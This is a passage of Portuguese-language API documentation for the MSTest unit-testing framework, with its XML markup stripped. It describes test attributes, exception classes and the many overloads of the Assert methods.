linhas são retornadas em ordem sequencial. - - - - - As linhas são retornadas em ordem aleatória. - - - - - O atributo para definir dados embutidos para um método de teste. - - - - - Inicializa uma nova instância da classe . - - O objeto de dados. - - - - Inicializa a nova instância da classe que ocupa uma matriz de argumentos. - - Um objeto de dados. - Mais dados. - - - - Obtém Dados para chamar o método de teste. - - - - - Obtém ou define o nome de exibição nos resultados de teste para personalização. - - - - - A exceção inconclusiva da asserção. - - - - - Inicializa uma nova instância da classe . - - A mensagem. - A exceção. - - - - Inicializa uma nova instância da classe . - - A mensagem. - - - - Inicializa uma nova instância da classe . - - - - - Classe InternalTestFailureException. Usada para indicar falha interna de um caso de teste - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inicializa uma nova instância da classe . - - A mensagem de exceção. - A exceção. - - - - Inicializa uma nova instância da classe . - - A mensagem de exceção. - - - - Inicializa uma nova instância da classe . - - - - - Atributo que especifica que uma exceção do tipo especificado é esperada - - - - - Inicializa uma nova instância da classe com o tipo especificado - - Tipo da exceção esperada - - - - Inicializa uma nova instância da classe com - o tipo esperado e a mensagem a ser incluída quando nenhuma exceção é gerada pelo teste. - - Tipo da exceção esperada - - Mensagem a ser incluída no resultado do teste se ele falhar por não gerar uma exceção - - - - - Obtém um valor que indica o Tipo da exceção esperada - - - - - Obtém ou define um valor que indica se é para permitir tipos derivados do tipo da exceção esperada para - qualificá-la como esperada - - - - - Obtém a mensagem a ser incluída no resultado do teste caso o teste falhe devido à não geração de uma exceção - - - - - Verifica se o tipo da exceção gerada pelo teste de unidade é esperado - - A exceção gerada pelo teste de unidade - - - - Classe base para atributos que especificam que uma exceção de um teste de unidade é esperada - - - - - Inicializa uma nova instância da classe com uma mensagem de não exceção padrão - - - - - Inicializa a nova instância da classe com uma mensagem de não exceção - - - Mensagem a ser incluída no resultado do teste se ele falhar por não gerar uma - exceção - - - - - Obtém a mensagem a ser incluída no resultado do teste caso o teste falhe devido à não geração de uma exceção - - - - - Obtém a mensagem a ser incluída no resultado do teste caso o teste falhe devido à não geração de uma exceção - - - - - Obtém a mensagem de não exceção padrão - - O nome do tipo de atributo ExpectedException - A mensagem de não exceção padrão - - - - Determina se uma exceção é esperada. Se o método é retornado, entende-se - que a exceção era esperada. Se o método gera uma exceção, entende-se - que a exceção não era esperada e a mensagem de exceção gerada - é incluída no resultado do teste. A classe pode ser usada para - conveniência. Se é usada e há falha de asserção, - o resultado do teste é definido como Inconclusivo. - - A exceção gerada pelo teste de unidade - - - - Gerar a exceção novamente se for uma AssertFailedException ou uma AssertInconclusiveException - - A exceção a ser gerada novamente se for uma exceção de asserção - - - - Essa classe é projetada para ajudar o usuário a executar o teste de unidade para os tipos que usam tipos genéricos. - GenericParameterHelper satisfaz algumas restrições comuns de tipos genéricos, - como: - 1. construtor público padrão - 2. implementa interface comum: IComparable, IEnumerable - - - - - Inicializa a nova instância da classe que - satisfaz a restrição 'newable' em genéricos C#. - - - This constructor initializes the Data property to a random value. - - - - - Inicializa a nova instância da classe que - inicializa a propriedade Data para um valor fornecido pelo usuário. - - Qualquer valor inteiro - - - - Obtém ou define Data - - - - - Executa a comparação de valores de dois objetos GenericParameterHelper - - objeto com o qual comparar - verdadeiro se o objeto tem o mesmo valor que 'esse' objeto GenericParameterHelper. - Caso contrário, falso. - - - - Retorna um código hash para esse objeto. - - O código hash. - - - - Compara os dados dos dois objetos . - - O objeto com o qual comparar. - - Um número assinado indicando os valores relativos dessa instância e valor. - - - Thrown when the object passed in is not an instance of . - - - - - Retorna um objeto IEnumerator cujo comprimento é derivado - da propriedade Data. - - O objeto IEnumerator - - - - Retorna um objeto GenericParameterHelper que é igual ao - objeto atual. - - O objeto clonado. - - - - Permite que usuários registrem/gravem rastros de testes de unidade para diagnósticos. - - - - - Manipulador para LogMessage. - - Mensagem a ser registrada. - - - - Evento a ser escutado. Acionado quando o gerador do teste de unidade escreve alguma mensagem. - Principalmente para ser consumido pelo adaptador. - - - - - API para o gravador de teste chamar Registrar mensagens. - - Formato de cadeia de caracteres com espaços reservados. - Parâmetros dos espaços reservados. - - - - Atributo TestCategory. Usado para especificar a categoria de um teste de unidade. - - - - - Inicializa a nova instância da classe e aplica a categoria ao teste. - - - A Categoria de teste. - - - - - Obtém as categorias de teste aplicadas ao teste. - - - - - Classe base para o atributo "Category" - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inicializa a nova instância da classe . - Aplica a categoria ao teste. As cadeias de caracteres retornadas por TestCategories - são usadas com o comando /category para filtrar os testes - - - - - Obtém a categoria de teste aplicada ao teste. - - - - - Classe AssertFailedException. Usada para indicar falha em um caso de teste - - - - - Inicializa uma nova instância da classe . - - A mensagem. - A exceção. - - - - Inicializa uma nova instância da classe . - - A mensagem. - - - - Inicializa uma nova instância da classe . - - - - - Uma coleção de classes auxiliares para testar várias condições nos - testes de unidade. Se a condição testada não é atendida, uma exceção - é gerada. - - - - - Obtém uma instância singleton da funcionalidade Asserção. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testa se a condição especificada é verdadeira e gera uma exceção - se a condição é falsa. - - - A condição que o teste espera ser verdadeira. - - - Thrown if is false. - - - - - Testa se a condição especificada é verdadeira e gera uma exceção - se a condição é falsa. - - - A condição que o teste espera ser verdadeira. - - - A mensagem a ser incluída na exceção quando - é falsa. A mensagem é mostrada nos resultados de teste. - - - Thrown if is false. - - - - - Testa se a condição especificada é verdadeira e gera uma exceção - se a condição é falsa. - - - A condição que o teste espera ser verdadeira. - - - A mensagem a ser incluída na exceção quando - é falsa. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is false. - - - - - Testa se a condição especificada é falsa e gera uma exceção - se a condição é verdadeira. - - - A condição que o teste espera ser falsa. - - - Thrown if is true. - - - - - Testa se a condição especificada é falsa e gera uma exceção - se a condição é verdadeira. - - - A condição que o teste espera ser falsa. - - - A mensagem a ser incluída na exceção quando - é verdadeira. A mensagem é mostrada nos resultados de teste. - - - Thrown if is true. - - - - - Testa se a condição especificada é falsa e gera uma exceção - se a condição é verdadeira. - - - A condição que o teste espera ser falsa. - - - A mensagem a ser incluída na exceção quando - é verdadeira. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is true. - - - - - Testa se o objeto especificado é nulo e gera uma exceção - caso ele não seja. - - - O objeto que o teste espera ser nulo. - - - Thrown if is not null. - - - - - Testa se o objeto especificado é nulo e gera uma exceção - caso ele não seja. - - - O objeto que o teste espera ser nulo. - - - A mensagem a ser incluída na exceção quando - não é nulo. A mensagem é mostrada nos resultados de teste. - - - Thrown if is not null. - - - - - Testa se o objeto especificado é nulo e gera uma exceção - caso ele não seja. - - - O objeto que o teste espera ser nulo. - - - A mensagem a ser incluída na exceção quando - não é nulo. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not null. - - - - - Testa se o objeto especificado é não nulo e gera uma exceção - caso ele seja nulo. - - - O objeto que o teste espera que não seja nulo. - - - Thrown if is null. - - - - - Testa se o objeto especificado é não nulo e gera uma exceção - caso ele seja nulo. - - - O objeto que o teste espera que não seja nulo. - - - A mensagem a ser incluída na exceção quando - é nulo. A mensagem é mostrada nos resultados de teste. - - - Thrown if is null. - - - - - Testa se o objeto especificado é não nulo e gera uma exceção - caso ele seja nulo. - - - O objeto que o teste espera que não seja nulo. - - - A mensagem a ser incluída na exceção quando - é nulo. A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is null. - - - - - Testa se os objetos especificados se referem ao mesmo objeto e - gera uma exceção se as duas entradas não se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - Thrown if does not refer to the same object - as . - - - - - Testa se os objetos especificados se referem ao mesmo objeto e - gera uma exceção se as duas entradas não se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é o mesmo que . A mensagem é mostrada - nos resultados de teste. - - - Thrown if does not refer to the same object - as . - - - - - Testa se os objetos especificados se referem ao mesmo objeto e - gera uma exceção se as duas entradas não se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é o mesmo que . A mensagem é mostrada - nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if does not refer to the same object - as . - - - - - Testa se os objetos especificados se referem a objetos diferentes e - gera uma exceção se as duas entradas se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - Thrown if refers to the same object - as . - - - - - Testa se os objetos especificados se referem a objetos diferentes e - gera uma exceção se as duas entradas se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é o mesmo que . A mensagem é mostrada nos - resultados de teste. - - - Thrown if refers to the same object - as . - - - - - Testa se os objetos especificados se referem a objetos diferentes e - gera uma exceção se as duas entradas se referem ao mesmo objeto. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é o mesmo que . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if refers to the same object - as . - - - - - Testa se os valores especificados são iguais e gera uma exceção - se os dois valores não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trate-se do valor esperado pelo teste. - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - Thrown if is not equal to . - - - - - Testa se os valores especificados são iguais e gera uma exceção - se os dois valores não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trate-se do valor esperado pelo teste. - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se os valores especificados são iguais e gera uma exceção - se os dois valores não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trate-se do valor esperado pelo teste. - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se os valores especificados são desiguais e gera uma exceção - se os dois valores são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - Thrown if is equal to . - - - - - Testa se os valores especificados são desiguais e gera uma exceção - se os dois valores são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se os valores especificados são desiguais e gera uma exceção - se os dois valores são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - The type of values to compare. - - - O primeiro valor a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo valor a ser comparado. Trata-se do valor produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se os objetos especificados são iguais e gera uma exceção - se os dois objetos não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do objeto esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - Thrown if is not equal to - . - - - - - Testa se os objetos especificados são iguais e gera uma exceção - se os dois objetos não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do objeto esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se os objetos especificados são iguais e gera uma exceção - se os dois objetos não são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do objeto esperado pelo teste. - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se os objetos especificados são desiguais e gera uma exceção - se os dois objetos são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - Thrown if is equal to . - - - - - Testa se os objetos especificados são desiguais e gera uma exceção - se os dois objetos são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se os objetos especificados são desiguais e gera uma exceção - se os dois objetos são iguais. Tipos numéricos diferentes são tratados - como desiguais mesmo se os valores lógicos são iguais. 42L não é igual a 42. - - - O primeiro objeto a ser comparado. Trata-se do valor que o teste espera que não - corresponda a . - - - O segundo objeto a ser comparado. Trata-se do objeto produzido pelo código em teste. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se os floats especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro float a ser comparado. Trata-se do float esperado pelo teste. - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - Thrown if is not equal to - . - - - - - Testa se os floats especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro float a ser comparado. Trata-se do float esperado pelo teste. - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - A mensagem a ser incluída na exceção quando - for diferente de por mais de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if is not equal to - . - - - - - Testa se os floats especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro float a ser comparado. Trata-se do float esperado pelo teste. - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - A mensagem a ser incluída na exceção quando - for diferente de por mais de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to - . - - - - - Testa se os floats especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro float a ser comparado. Trata-se do float que o teste espera que não - corresponda a . - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - Thrown if is equal to . - - - - - Testa se os floats especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro float a ser comparado. Trata-se do float que o teste espera que não - corresponda a . - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - A mensagem a ser incluída na exceção quando - é igual a ou diferente por menos de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if is equal to . - - - - - Testa se os floats especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro float a ser comparado. Trata-se do float que o teste espera que não - corresponda a . - - - O segundo float a ser comparado. Trata-se do float produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - A mensagem a ser incluída na exceção quando - é igual a ou diferente por menos de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se os duplos especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo esperado pelo teste. - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - Thrown if is not equal to - . - - - - - Testa se os duplos especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo esperado pelo teste. - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - A mensagem a ser incluída na exceção quando - for diferente de por mais de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if is not equal to . - - - - - Testa se os duplos especificados são iguais e gera uma exceção - se eles não são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo esperado pelo teste. - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por mais de . - - - A mensagem a ser incluída na exceção quando - for diferente de por mais de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to . - - - - - Testa se os duplos especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo que o teste espera que não - corresponda a . - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - Thrown if is equal to . - - - - - Testa se os duplos especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo que o teste espera que não - corresponda a . - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - A mensagem a ser incluída na exceção quando - é igual a ou diferente por menos de - . A mensagem é mostrada nos resultados de teste. - - - Thrown if is equal to . - - - - - Testa se os duplos especificados são desiguais e gera uma exceção - se eles são iguais. - - - O primeiro duplo a ser comparado. Trata-se do duplo que o teste espera que não - corresponda a . - - - O segundo duplo a ser comparado. Trata-se do duplo produzido pelo código em teste. - - - A precisão necessária. Uma exceção será gerada somente se - for diferente de - por no máximo . - - - A mensagem a ser incluída na exceção quando - é igual a ou diferente por menos de - . A mensagem é mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são iguais e gera uma exceção - se elas não são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres esperada pelo teste. - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - A mensagem a ser incluída na exceção quando - não é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. A cultura invariável é usada para a comparação. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Thrown if is equal to . - - - - - Testa se as cadeias de caracteres especificadas são desiguais e gera uma exceção - se elas são iguais. - - - A primeira cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres que o teste espera que não - corresponda a . - - - A segunda cadeia de caracteres a ser comparada. Trata-se da cadeia de caracteres produzida pelo código em teste. - - - Um booliano que indica uma comparação que diferencia ou não maiúsculas de minúsculas. (verdadeiro - indica uma comparação que diferencia maiúsculas de minúsculas.) - - - Um objeto CultureInfo que fornece informações de comparação específicas de cultura. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Testa se o objeto especificado é uma instância do tipo - esperado e gera uma exceção se o tipo esperado não está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que seja do tipo especificado. - - - O tipo esperado de . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado é uma instância do tipo - esperado e gera uma exceção se o tipo esperado não está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que seja do tipo especificado. - - - O tipo esperado de . - - - A mensagem a ser incluída na exceção quando - não é uma instância de . A mensagem é - mostrada nos resultados de teste. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado é uma instância do tipo - esperado e gera uma exceção se o tipo esperado não está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que seja do tipo especificado. - - - O tipo esperado de . - - - A mensagem a ser incluída na exceção quando - não é uma instância de . A mensagem é - mostrada nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado não é uma instância do tipo - incorreto e gera uma exceção se o tipo especificado está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que não seja do tipo especificado. - - - O tipo que não deve ser. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado não é uma instância do tipo - incorreto e gera uma exceção se o tipo especificado está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que não seja do tipo especificado. - - - O tipo que não deve ser. - - - A mensagem a ser incluída na exceção quando - é uma instância de . A mensagem é mostrada - nos resultados de teste. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Testa se o objeto especificado não é uma instância do tipo - incorreto e gera uma exceção se o tipo especificado está na - hierarquia de herança do objeto. - - - O objeto que o teste espera que não seja do tipo especificado. - - - O tipo que não deve ser. - - - A mensagem a ser incluída na exceção quando - é uma instância de . A mensagem é mostrada - nos resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Gera uma AssertFailedException. - - - Always thrown. - - - - - Gera uma AssertFailedException. - - - A mensagem a ser incluída na exceção. A mensagem é mostrada nos - resultados de teste. - - - Always thrown. - - - - - Gera uma 